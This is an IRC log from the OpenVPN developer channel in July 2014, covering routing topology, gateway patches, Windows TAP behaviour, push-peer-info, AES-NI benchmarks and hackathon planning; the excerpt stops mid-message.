[+o raidz] by ChanServ 17:34 -!- riddle [riddle@76.72.170.57] has joined #openvpn-devel 17:36 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 17:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:36 -!- ServerMode/#openvpn-devel [+v krzee] by morgan.freenode.net 17:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 17:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:38 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:27 -!- Netsplit *.net <-> *.split quits: +krzee, @pekster, siruf, +roentgen, ender|, @plaisthos, @andj, Haigha, riddle, @syzzer, (+2 more, use /NETSPLIT to show all of them) 20:30 -!- Netsplit over, joins: +krzee 20:58 -!- roentgen [~none@venus.titeica.ro] has joined #openvpn-devel 20:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:58 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 20:58 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:58 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 20:58 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:58 -!- ServerMode/#openvpn-devel [+oooo syzzer pekster plaisthos andj] by morgan.freenode.net 21:03 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 21:04 -!- riddle [riddle@76.72.170.57] has joined #openvpn-devel 21:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:06 -!- ServerMode/#openvpn-devel [+o vpnHelper] by morgan.freenode.net 21:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:06 -!- ServerMode/#openvpn-devel [+o raidz] by morgan.freenode.net 21:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:19 -!- roentgen [~none@venus.titeica.ro] has quit [Changing host] 21:19 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 21:20 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 22:17 <@vpnHelper> RSS Update - tickets: #429: tcp-nodelay in client causes assertion failure <https://community.openvpn.net/openvpn/ticket/429> 22:59 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 23:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:00 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Fri Jul 11 2014 01:58 -!- mattock_afk is now known as mattock 02:05 -!- phihag [~phihag@dsdf-4db5c67a.pool.mediaWays.net] has joined #openvpn-devel 02:07 < phihag> The installation instructions (https://github.com/OpenVPN/openvpn/blob/master/README#L16 ) say to start with ./configure, but configure is not checked in. Why is that? Shouldn't the instructions start with autoreconf -vi ? 02:07 <@vpnHelper> Title: openvpn/README at master · OpenVPN/openvpn · GitHub (at github.com) 02:08 <@cron2_> these are the installation instructions if you get a .tar.gz, unpack that, and install from there 02:08 <@cron2_> and that will have a configure 02:09 <@cron2_> INSTALL has more details on "how to build from TARBALL, how to build from SOURCE REPOSITORY CHECKOUT" (which includes autoreconf) 02:09 < phihag> ah, ok, thanks. Is there any reason not to mention that? I think nowadays a lot of people will start from git, and it's not immediately obvious that I need to run autoreconf 02:09 < phihag> oh, there it is. Thanks 02:10 <@cron2_> well, README points to INSTALL 02:10 <@cron2_> I don't think it's really "lot of people" that start from git :-) - "lot of people" use precompiled binaries :-) 02:29 < phihag> With precompiled binaries, you can't find problems. And since nobody on #openvpn seems to have an idea how my reproducible problem of having a wrong gateway by default (https://gist.github.com/phihag/41bc5ad580f065fbc690) could be caused, I see dvelving into the code as the only option 02:29 <@vpnHelper> Title: OpenVPN problem - Why is the default gateway 10.222.0.5? (at gist.github.com) 02:40 <@cron2_> the answer is easy - "because you're using topology net30". But it does not matter at all, as the gateway address is meaningless here - it only serves to have something to point the routes to, that the OS knows "it's in the tunnel" 02:41 <@cron2_> with net30, each client gets it's own /30, and the tunnel is set up with the two addresses from it as "left" and "right": 02:41 <@cron2_> Fri Jul 11 08:55:34 2014 /sbin/ip addr add dev tun0 local 10.222.0.6 peer 10.222.0.5 02:41 <@cron2_> and since ".5" is "the other end of the tunnel", this is what is used as the gateway address 02:42 <@cron2_> there doesn't have to actually *be* anything on .5, it's just a reference "this way, please" 02:47 < phihag> cron2_: Oh my, thank you very much! I did not even know about topology. I'll send a pull request to include the topology option in in the sample server.conf 02:50 <@cron2_> please no pull requests 02:50 <@cron2_> mail to openvpn-devel@lists.sourceforge.net 03:11 < phihag> cron2_: Thanks again, I tried sending it, let's see whether I did that right 03:15 -!- phihag [~phihag@dsdf-4db5c67a.pool.mediaWays.net] has quit [Ping timeout: 240 seconds] 04:04 <@plaisthos> jjk confuses me 04:24 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 04:52 <@syzzer> plaisthos: interesting dicussion though. (One more of those 04:52 <@syzzer> 'small patch triggers all sorts of other stuff') 05:12 <@plaisthos> syzzer: yeah. 05:12 <@plaisthos> I don't know what the semantic of a route x y statement on a *server* should be 05:44 -!- dazo_afk is now known as dazo 05:56 <@plaisthos> syzzer: yeah, like a patch of mine ;) 05:57 <@syzzer> nice :) 2.3.5 will contain a lot of bug fixes! 05:57 * plaisthos only gotten to known "this is a long standing bug" bug today 06:01 <@syzzer> hehe, there seems to be no ticket for it in trac either. 06:01 <@syzzer> jjk is just very well informed I guess 06:05 <@plaisthos> It is also a cosmetic bugs 06:06 <@plaisthos> everyone of the more experienced openvpn devleopers would add the gw to route command and don't care 06:06 <@plaisthos> so it flies under the radar 06:10 <@plaisthos> We should someday think about a apply-defaults '2.3' 06:10 <@plaisthos> or apply-defaults 2.4 06:11 <@plaisthos> to give everyone an easier way to set more sane defaults 06:11 <@plaisthos> like AES as cipher, subnet as toplogy, etc. 06:46 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:00 <@cron2_> phew. spent some 4 hours finding old and even older paperwork for the tax office... 07:32 <@cron2_> plaisthos: I'd call that "route-gateway" in your patch, not "redirect-gateway". Just saying :-) 07:32 <@cron2_> we have too many options, but *this* is not one of them 07:33 <@cron2_> (the patch is right, the manpage is wrong) 07:33 <@cron2_> but besides this - thanks, yes, this is a nicely elegant way to solve this, take it off *my* plate :-) and close at least one trac, IIRC 07:34 <@plaisthos> cron2_: oh dman 07:35 <@plaisthos> cron2_: Should I send a v2? 07:35 <@cron2_> nah. I'll ack and fix on the fly 07:36 <@plaisthos> cron2_: thanks 07:36 <@plaisthos> and I forget the if route-gateway unset in the .c file 07:38 <@cron2_> yep 07:39 <@cron2_> and for windows servers we might actually need to make it 10.18.0.*2*, as it won't arp for .1 ("this is me") 07:39 <@cron2_> ... it's always ethernet with arp, even in "tun" mode :( 07:39 <@plaisthos> okay. No idea about these windows specific things 07:40 <@plaisthos> that is behaviour I would not have expected 07:40 <@plaisthos> but does it need to repsond to ARP? 07:40 <@plaisthos> I mean windows knows that itself is .1 07:43 <@cron2_> yeah, but what is the meaning of "send it to myself on an ethernet interface"? 07:43 <@cron2_> on proper tuns, it's "send it to that interface, and do not care who is on the other side" 07:44 <@cron2_> using your own address as a gateway is not truly well-defined :-) - but just using .2 should be safe everywhere 07:45 <@plaisthos> cron2_: Ah I now understand 07:45 <@plaisthos> for +1 07:45 <@plaisthos> ifconfig-local is calculated this way too 07:46 <@plaisthos> just a few lines above my change ;) 07:46 <@cron2_> cool. easy way out :) 07:52 <@plaisthos> I have just tested route add 10.77.77.0 mask 255.255.255.0 192.168.200.9 on an openvpn client 07:52 <@plaisthos> which has 200.9 as its own IP 07:52 <@plaisthos> 10.77.77.0 255.255.255.0 Auf Verbindung 192.168.200.9 31 07:53 <@plaisthos> but that does not seem to work 07:54 <@plaisthos> seems to ignore that route 07:55 <@plaisthos> adding a route with .10 does not work either 07:55 <@plaisthos> Antwort von 192.168.200.9: Zielhost nicht erreichbar. 07:55 <@plaisthos> no idea what is happening there 07:58 <@cron2_> windows? 07:59 <@cron2_> it's possible that the spoof-ARP-reply-in-TAP-driver is only done for "the gateway address", ISTR that there is an ioctl() that pokes the gateway address into the driver :-/ 07:59 <@cron2_> (but it might still work if we just set the gateway address) 08:00 * cron2_ needs to leave for a few hours now, though - kindergarten summer celebration... 08:08 <@plaisthos> anyway 08:13 <@plaisthos> cron2_: you seem to be right 08:13 <@plaisthos> route add 10.77.77.0 mask 255.255.255.0 192.168.200.1 works 09:20 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 11:26 <@dazo> I don't think I buy the argument that Apple doesn't allow GPL/FOSS apps in iTunes ... https://itunes.apple.com/us/app/freeotp 11:26 <@dazo> https://fedorahosted.org/freeotp/ 11:26 <@vpnHelper> Title: FreeOTP (at fedorahosted.org) 11:27 <@dazo> (well, it's Apache license, not GPL ... my fault) 11:44 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:48 <@plaisthos> the store link does worke her: 11:48 <@plaisthos> Your request produced an error. 11:48 <@plaisthos> [newNullResponse] 11:56 <@dazo> uhh!? it's also a link it itunes store via the fedorahosted.org link 11:56 * dazo heads out for some food 12:00 -!- Envil [~meep@151.236.22.8] has joined #openvpn-devel 12:41 -!- Netsplit *.net <-> *.split quits: dgollub, _bt, @andj 12:44 -!- Netsplit over, joins: andj 12:44 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:20 <@cron2_> syzzer: is this polarssl advisory relevant for us? 13:21 <@cron2_> https://polarssl.org/tech-updates/security-advisories/polarssl-security-advisory-2014-02 13:21 <@vpnHelper> Title: PolarSSL Security Advisory 2014-02 - Tech Updates (at polarssl.org) 13:22 <@cron2_> crash bug in GCM ciphersuites 13:33 -!- Envil [~meep@151.236.22.8] has quit [Ping timeout: 240 seconds] 13:48 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 15:13 -!- dazo is now known as dazo_afk 15:54 -!- mattock is now known as mattock_afk 17:16 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Sat Jul 12 2014 01:24 -!- mattock_afk is now known as mattock 07:06 -!- Netsplit *.net <-> *.split quits: riddle, @plaisthos, @syzzer, ender|, +roentgen, @pekster, Haigha, siruf 07:07 -!- Netsplit over, joins: @pekster, ender|, riddle, Haigha, +roentgen, @syzzer, siruf, @plaisthos 07:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 07:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:11 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:14 -!- vpnHelper is now known as 23LAA0UHM 07:14 -!- 23LAA0UHM is now known as vpnHelper 10:04 <+krzee> cron2_, i know im totally not who that question was for, but it looks to me like it would effect TLS v1.2 stuff if polar+ovpn is setup for that 13:24 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 16:52 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 18:10 -!- mattock is now known as mattock_afk 23:53 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Excess Flood] --- Day changed Sun Jul 13 2014 01:54 -!- mattock_afk is now known as mattock 03:24 <@syzzer> cron2_, krzee: yeah, that affects openvpn+polar builds 03:25 <@syzzer> but it's denial-of-service only, so annoying but not very exciting. once more, tls-auth ftw! 05:58 <@cron2_> syzzer: oh the joys of SSL_OP_NO_TICKET :-) - ACK, since we want to support RHEL5 06:40 <@plaisthos> if someone manages to attack tls-auth we are screwed ;) 06:44 <@syzzer> nah, "layered security' 07:08 <@cron2_> argh 07:09 <@cron2_> route_default_gateway is a string, so "just add +1 to ifconfig_local" ain't working :-) 07:09 * cron2_ copy-pastes the method used for ifconfig_pool_start instead 07:14 <@cron2_> ok 07:15 <@cron2_> tapdrvr.c will answer any ARP request for a destination that is *not* the local address 07:15 <@cron2_> and on the local network 07:15 <@cron2_> && src->m_ARP_IP_Source == adapter_ip 07:15 <@cron2_> && (src->m_ARP_IP_Destination & ip_netmask) == ip_network 07:15 <@cron2_> && src->m_ARP_IP_Destination != adapter_ip) 07:15 <@cron2_> the third line is needed to avoid "my address is in use!" by windows 07:16 <@cron2_> so using "+1" should work on windows as well - it's on the LAN, not itself 07:18 <@plaisthos> cron2_: :) 07:20 <@cron2_> Sun Jul 13 14:19:18 2014 us=737818 /bin/ifconfig tun6 194.97.145.73 netmask 255.255.255.248 mtu 1500 broadcast 194.97.145.79 07:20 <@cron2_> Sun Jul 13 14:19:18 2014 us=750208 /bin/route add -net 10.9.9.0 netmask 255.255.255.0 gw 194.97.145.74 07:27 <@cron2_> reworked patch slighly (as discussed), sent to the list 07:27 <@cron2_> oh fuuu 07:41 <@plaisthos> cron2_: oh fuu sounds not like I should review v2? :) 08:07 <@cron2_> nah, please review v3 :) 08:08 <@cron2_> fuuu means "I copy-pasted your 'redirect-gateway unset' bit into helper.c" 08:08 <@cron2_> (and noticed right after sending, of course) 08:08 <@plaisthos> okay. But first I have to wait for the high speed mailing list 08:08 <@plaisthos> cron2_: haha! 08:09 <@cron2_> you should have received a cc: copy... 08:10 <@cron2_> hrm, gmane does not have it either 08:10 <@plaisthos> cron2_: hm the cc copy isn't here either 08:12 <@cron2_> hrmph 08:13 <@cron2_> ok, I think one bit I understand - I'm relaying via a server that doesn't permit relaying from *this* host, except to myself (because it happens to be my incoming MX) 08:13 <@cron2_> but where did the bounce go?! 08:15 <@cron2_> resent (v3 only), visible on gmane 08:39 <@plaisthos> I wonder how it made it to gmane but not to my mailbox 08:40 <@cron2_> maybe sf decided "you're in cc anyway"... bouncing again 08:42 <@plaisthos> could be 08:43 <@plaisthos> I just got the ccéd mail 08:44 <@plaisthos> and my putty needs to be set to utf-8 08:53 <@plaisthos> acked your patch 08:53 <@cron2_> yup, just saw it 08:53 <@cron2_> proceeding... :) 08:58 <@cron2_> gzip: stdout: No space left on device 08:58 <@cron2_> it's really time that mattock returns home... :) 09:02 <@vpnHelper> RSS Update - gitrepo: Add topology in sample server configuration file <https://github.com/OpenVPN/openvpn/commit/c277757fcf7fb4c2713db154439f937d48cfae61> || Fix server routes not working in topology subnet with --server [v3] <https://github.com/OpenVPN/openvpn/commit/4cc6a2595947a0e2f13b37637899bfc50f8509aa> || Define dummy SSL_OP_NO_TICKET flag if not present in OpenSSL. <https://github.com/OpenVPN/openvpn/commit/97bd862ed5c22956 14:14 <@cron2_> can I copy a whole page in trac? Like "MunichHackathon2013" to "MunichHackathon2014", to then remove all that's not relevant and keep the general frame? 14:44 <@syzzer> cron2_: so, can you? ;-) 16:44 <@cron2_> no idea... 16:59 -!- mattock is now known as mattock_afk 19:39 <+krzee> if not you can easily: edit, copy, cancel edit, open new page, paste, etc 19:39 <+krzee> unless im missing something about the goal (probably am) --- Day changed Mon Jul 14 2014 01:55 -!- mattock_afk is now known as mattock 02:30 <@cron2_> krzee: true, but that's so... lame... :-) 02:30 <@cron2_> mattock: back in town? 02:37 <@mattock> cron2: yes 02:37 <@mattock> I will have to skim through 1000 emails first :P 02:38 <@plaisthos> mattock: :) 02:38 <@plaisthos> 1001 02:38 <@plaisthos> just kidding ;0 02:38 <@mattock> yeah :P 02:38 <@mattock> all emails in arabic 02:42 <@cron2_> mattock: your buildbots are all unhappy... disk full, DNS not working, ... 02:46 <@mattock> cron2: ok, I'll have a look soon 03:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:27 -!- tamazaki [~tamazaki@95.85.35.109] has joined #openvpn-devel 03:52 < tamazaki> I'm looking for a way to pass a variable from the client to the server to be used in the client-connect script. I'm aware this can be done in the username field but that doesn't suit our requirements. Is there any development in this area as we'd like to get involved if not. 03:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 03:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:02 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 04:02 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:03 <@cron2_> setenv UV_MYVARIABLE foo 04:03 <@cron2_> push-peer-info 04:03 <@cron2_> run git master on the server to receive the info as $UV_MYVARIABLE in environment 04:04 <@cron2_> (and the client needs to somewhat recent, I think "2.3.1 or up" or so, but 2.3.4 is recommended anyway) 04:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 04:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:43 <@mattock> cron2: the build issues should be gone now 04:43 <@mattock> my server's filesystem was filled by backups which are now in the correct filesystem 04:44 <@mattock> root filesystem got full 04:44 <@cron2_> \o/ (both buildbots and snapshot?) 04:44 <@mattock> I suppose the snapshot also 04:44 <@mattock> because there was not issue with the buildslaves per se 04:45 <@cron2_> well, if the server fails to answer DNS... (and that's how it looked like) 04:45 <@cron2_> could you test build a snapshot? Want to see proper compile error, not DNS/download fail, and disk full :) 04:45 <@mattock> yep, I can 04:46 <@mattock> the dnsmasq daemon running on the server (host) was probably messed up because of lack of diskspace 04:46 <@mattock> I'll trigger a windows build 04:49 <@mattock> done 05:21 <@plaisthos> broken user configs: 05:21 <@plaisthos> topology net30 and ifconfig 10.8.0.101 255.255.255.0 05:21 <@plaisthos> what does route 10.0.0.0 255.255.255.0 do? 05:28 <@plaisthos> and why it is working on windows (I am not sure that it really is, user tells me so) 05:29 -!- dazo_afk is now known as dazo 06:18 <@cron2_> plaisthos: insert a route 10.0.0.0/8 on the host side, pointing to the tun 06:19 <@cron2_> the ifconfig is... interesting... especially combined with net30, though 06:19 <@plaisthos> cron2_: it call route add 10.0.0.0 255.255.255.0 255.255.255.0 06:19 <@plaisthos> whatever that does on windows :) 06:19 <@cron2_> ah 06:19 <@cron2_> he's not using net30 06:20 <@cron2_> because with net30, "ifconfig" means "ifconfig $myside $yourside", and $yourside is the default for route-gateway 06:20 <@cron2_> no, he *is* using net30, but his ifconfig is broken 06:20 <@cron2_> your users' configs confuse me 06:21 <@plaisthos> yeah me too ;) 06:22 <@plaisthos> I already accepting pretty weird configuration so only users with even weirder configuration sent me their errors 06:22 <@cron2_> mattock: your snapshot is still failing way before even starting the compile :( 06:23 <@cron2_> it tries to download easy-rsa*.tar.gz and fails on a 302 (redirect?)... 06:29 <@mattock> cron2: ok, noted 06:29 <@mattock> making lunch now, will fix that after eating 06:31 <@cron2_> thanks :) 07:12 < tamazaki> cron2_: Thanks, much appreciated. Can you please confirm that the server functionality for push-peer-info is not available in 2.3.4 and ony on the master branch? 07:14 <@plaisthos> tamazaki: in 2.3.4 there is no env/log support, you have to the management interface to get the UV_ variable 07:22 <@cron2_> tamazaki: as plaisthos says. The data will be received, but not exported to client-connect 07:23 <@cron2_> the patch could be backported, but as it is fairly big and new functionality, our policy is "new and intrusive stuff goes into master/2.4" 07:40 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 07:42 < tamazaki> cron2_: Cheers. Compiling source by not be an option for our environment, are there any rought eta's for 2.4? 07:43 < tamazaki> ok I see on the tracker that no date is set, thanks 07:44 <@plaisthos> yeah 07:44 <@plaisthos> probably late 2014 07:44 < tamazaki> cheers 07:46 <@plaisthos> but don't bet on that 08:16 -!- dgollub [~dgollub@p20030045EE049101CC8CA88FDBA12806.dip0.t-ipconnect.de] has joined #openvpn-devel 08:18 <@cron2_> the plan was "Q1 2014" :-) 08:18 <@cron2_> but that was a bit optimistic... 09:26 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 245 seconds] 09:38 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 09:57 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 245 seconds] 10:17 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 11:06 <+krzee> plaisthos, 11:06 <@plaisthos> krzee' 11:06 <+krzee> on https://community.openvpn.net/openvpn/ticket/424 11:06 <@vpnHelper> Title: #424 (Add tap emulation to the iOS and Android clients) – OpenVPN Community (at community.openvpn.net) 11:07 <+krzee> tunemu is IOS stuff i was talking about 11:07 <@plaisthos> yeah 11:07 <@plaisthos> I saw that ticket 11:07 <@plaisthos> we also had a small discussion about it here 11:08 <@plaisthos> I have given my comment to that source code in #6 11:13 <@mattock> cron2: I will have to postpone fixing the openvpn-build test for tomorrow 11:25 <@cron2_> mattock: boh :) (not that one us had time to work on that) 11:26 <+krzee> plaisthos, i think it actually could work with tapemu from OP, but i still think my answer is valid that it just doesnt matter because the IOS device would need to be rooted for that to work and openvpn tech wont be releasing a root-only openvpn connect for IOS and i dont know of anyone else interested in releasing another openvpn for only rooted IOS devices with tapemu 11:26 <+krzee> your comment was on the code in #6 not code from OP if i read right 11:30 <+krzee> err i totally mis-spoke, i mean to say openvpn tech wont be adding it, but it could be added by someone else, and it would then need root because it would not use the vpn interface 11:31 <+krzee> so it could be added by someone else and released along side, like your version for android, but it would be root-only 11:34 <@cron2_> krzee: no root needed 11:34 <@cron2_> if you have root, you don't need tap *emu*, you just use tap dev 11:34 <@cron2_> (on Android) 11:34 <@cron2_> on IOS, there is no tap dev, so root won't buy you anything 11:35 <+krzee> on IOS you can build with tapemu but then you arent using connect so you must set addresses manually, needs root 11:36 <@cron2_> IOS has *tun* dev, which you can access if you have root 11:36 <@cron2_> but that has nothing to do with tapemu or not, it's just how to access the tun - OpenVPN tech could just as well compile in tapemu into OpenVPN-using-VPN-API 11:36 <+krzee> if you build your own for IOS you need root, to build in tapemu you must build your own, therefor needing root, am i wrong? 11:37 <+krzee> yes, they could 11:37 <+krzee> but they will not 11:37 <+krzee> and since they will not, if someone wants tapemu build into a working version of openvpn for themselves, they will be needing root. 11:37 <@cron2_> well, true. 11:38 <+krzee> thats all im trying to say =] 11:38 <+krzee> obviously im saying it very poorly though 11:38 <@cron2_> but I do so not care for people using rooted devices or tap :-) 11:39 <@cron2_> (I could start caring if someone wants to run an OpenVPN server on AIX, which only has tap, and provide connectivity to iOS/Android clients, only having tun, and paying me to add a tun emu to the AIX code. Until then, I have more interesting things to break :-) ) 11:39 <+krzee> haha right, whether we care or not is another discussion, it was just about responses on a trac ticket where i feel the right answer is: "openvpn tech wont be doing this, feel free to release your own, and if you do so it will be needing root" 11:40 <@cron2_> wasn't the trac about Android Connect? 11:40 <+krzee> yes, where it will not be getting implemented. 11:40 <@cron2_> ah, both, iOS and Android. On Android you can just do it, no root needed 11:40 <+krzee> its about connect cause only connect exists for IOS 11:41 <@cron2_> the subject says "ios and android"... just sayin' :) 11:41 <@cron2_> (it doesn't even say "connect") 11:41 <+krzee> but if you read the OP its clear hes really talking IOS 11:42 <@cron2_> yeah, it becomes clearer when he starts talking about service discovery and mDNS - which sucks still, as IOS would even then ignore the tun dev... 11:46 <@plaisthos> I think using tap directly on 4.4+ is a sure way to screw up the policy routing and everything else with routing 11:47 <@plaisthos> my stance on tap is still the same, if someone pays me to do it, I will do it, otherwise I have more iteresting projects 11:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:06 <@cron2_> plaisthos: hehe, yes. Same here :) 12:07 <@plaisthos> wtf 12:08 <@plaisthos> nexus 7 vs Opteron 62xx with 3,1 Ghz 12:08 <@plaisthos> the nexus7 manages to get OpenVPN Prozess on server side to 50% 12:09 <@plaisthos> I have the feeling that AES NI might not be working 12:28 <@cron2_> does Opteron have AESNI? 12:30 <@ecrist> what's the model number? 12:35 <@pekster> In addition to the chip support, openssl would have to be built with the engine support too; `openvpn --show-engines` should show what's linked in though 13:15 <@cron2_> pekster: #408 is still on your radar? 13:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:04 <@plaisthos> cron2_: yes it has 16:04 <@plaisthos> at least /proc/cpuinfo has aes in it 16:06 <@plaisthos> but openssl doesn't seem to use it 16:07 <@plaisthos> (or openssl speed aes is wrong to test it) 16:09 <@plaisthos> openssl speed is weird 16:09 <@cron2_> s/speed // 16:10 <@plaisthos> the 3,7 GHz ivy bridge xeon performes has about the perforamce per GHz 16:10 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 16:10 <@plaisthos> and that one also support AES 16:10 <@plaisthos> oh no 16:11 <@plaisthos> the xeon cpus does 16:11 <@plaisthos> type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes 16:11 <@plaisthos> aes-128 cbc 140441.47k 153562.15k 157100.97k 158436.69k 158410.42k 16:11 <@plaisthos> and the opteron has 16:11 <@plaisthos> aes-128 cbc 84738.85k 89010.14k 91418.38k 223456.80k 222792.06k 16:11 <@plaisthos> time to go to bed 16:11 <@cron2_> yep. good night 16:13 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 16:13 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 16:18 <@plaisthos> today I learned openssl speed aes has almost the output as openssl speed -evp aes-128-cbc 16:18 <@plaisthos> but for some reason the second command gives 750 MB/s while the first gives 150 MB/s for AES 16:21 <@pekster> cron2_: I can shoot a blurb to the ML on that tonight. Per the manpage the "correct" behavior is to ignore it during options verification (which we don't have today.) Since it's not working anyway, updating the manpage is the "cheaper" solution, and that way the fatal error is at least documented. Let's see what the masses say, but I think that's what we unofficially agreed was the path of least work before 16:22 <@pekster> Obviously no one is relying on the documented behavior since it's currently broken on the client-side ; 16:22 <@pekster> ;) 16:34 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 16:34 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 16:34 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 16:38 -!- dgollub [~dgollub@p20030045EE049101CC8CA88FDBA12806.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 17:51 -!- dazo is now known as dazo_afk 17:55 -!- mattock is now known as mattock_afk 22:12 -!- Netsplit *.net <-> *.split quits: @pekster, siruf, +roentgen, tamazaki, ender|, @plaisthos, Haigha, riddle, @syzzer 22:20 -!- Netsplit over, joins: @pekster, +roentgen, ender|, Haigha, tamazaki, riddle, @syzzer, siruf, @plaisthos 22:58 -!- brah [~allsdfjal@190.193.70.120] has joined #openvpn-devel --- Day changed Tue Jul 15 2014 01:25 -!- brah [~allsdfjal@190.193.70.120] has quit [Quit: Leaving] 01:58 <@cron2_> pekster: I think the patch is ok, as it stands, plus a manpage addition "(server-side only, on the client side use "--socket-option ...") 01:59 <@cron2_> OTOH we could just always set the socket option, and if(server) also set the "push" 02:16 -!- mattock_afk is now known as mattock 02:17 <@cron2_> maybe that's more user friendly... 02:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:14 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 04:37 -!- dazo_afk is now known as dazo 04:38 -!- d12fk [~heiko@212.227.251.241] has joined #openvpn-devel 04:38 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:38 <@cron2_> hah. Gotcha :-) - d12fk: good mornin, and how's work going? 04:39 <@d12fk> meh dont ask 04:39 <@cron2_> ouch 04:39 <@d12fk> too much non ovpn stuff going on atm 04:40 <@d12fk> really afraid that the hackathon approaches with no work done 04:41 <@plaisthos> do we already have a date for the hackaton? 04:41 <@cron2_> you could post what you have, plus a "this is on my roadmap!" list, and maybe someone else can work on it, and hack in the missing bits? 04:41 <@cron2_> plaisthos: I've posted a doodle. October or November 04:42 <@cron2_> http://doodle.com/gcpdffgdfrf98gq8 04:42 <@vpnHelper> Title: Doodle: OpenVPN Hackathon 2014 (at doodle.com) 04:42 <@cron2_> September is already out because syzzer is travelling 04:56 -!- Netsplit *.net <-> *.split quits: +krzee, @d12fk, @pekster, siruf, +roentgen, tamazaki, ender|, @plaisthos, reators, @andj, (+6 more, use /NETSPLIT to show all of them) 05:02 <@cron2_> dazo: people are just confused about the "plugin" thing. "Plugins must be magic, everything must be doable with a plugin!" :-) 05:02 <@dazo> Well, everything *is* possible with a clever plug-in ... and almost everything is possible with a script-hook (which people don't understand) 05:03 <@dazo> I think OpenVPN 3 shouln't have a plug-in API. It should have a unicorn API 05:04 -!- Netsplit over, joins: +roentgen, Haigha, riddle, @syzzer, @pekster, @plaisthos, @raidz, @vpnHelper, +krzee, ender| (+6 more) 05:04 <@cron2_> "teach OpenVPN to use multiple ip pools" isn't :-) (but you can simulate it, of course) 05:04 <@dazo> yeah 05:05 <@dazo> But to script it, it does require quite some thinking to get it right ... as you need to have --client-connect and --client-disconnect co-operate, to log which got which IP and which connection released an IP 05:25 <@dazo> cron2_++ ... and why should openvpn have a feature which can be enabled via the API it provides? 05:27 <@cron2_> well, the benefit would be that it would be a single code base, and well tested, not "every implementor of a script has to try again to get it right" 05:27 * cron2_ points at compression negotiation, and his own inability to get that right :) 05:28 <@dazo> well, we could ship scripts/plug-ins with openvpn 05:28 <@dazo> which solves "interesting" issues ... like auth-pam 05:28 <@cron2_> yeah, the auth-* things are good cases for plugins, too much local variants to include 05:29 <@dazo> yupp 05:29 <@dazo> btw .... /me still fights with the kerb implementation 05:57 -!- trispace [~rf@unaffiliated/trispace] has joined #openvpn-devel 06:06 < trispace> Hi, often I'm in the need of associating the following message "read UDPv4 [ECONNREFUSED]: Connection refused (code=111)" to a specific client. Would it be reasonable to additionally print out at least 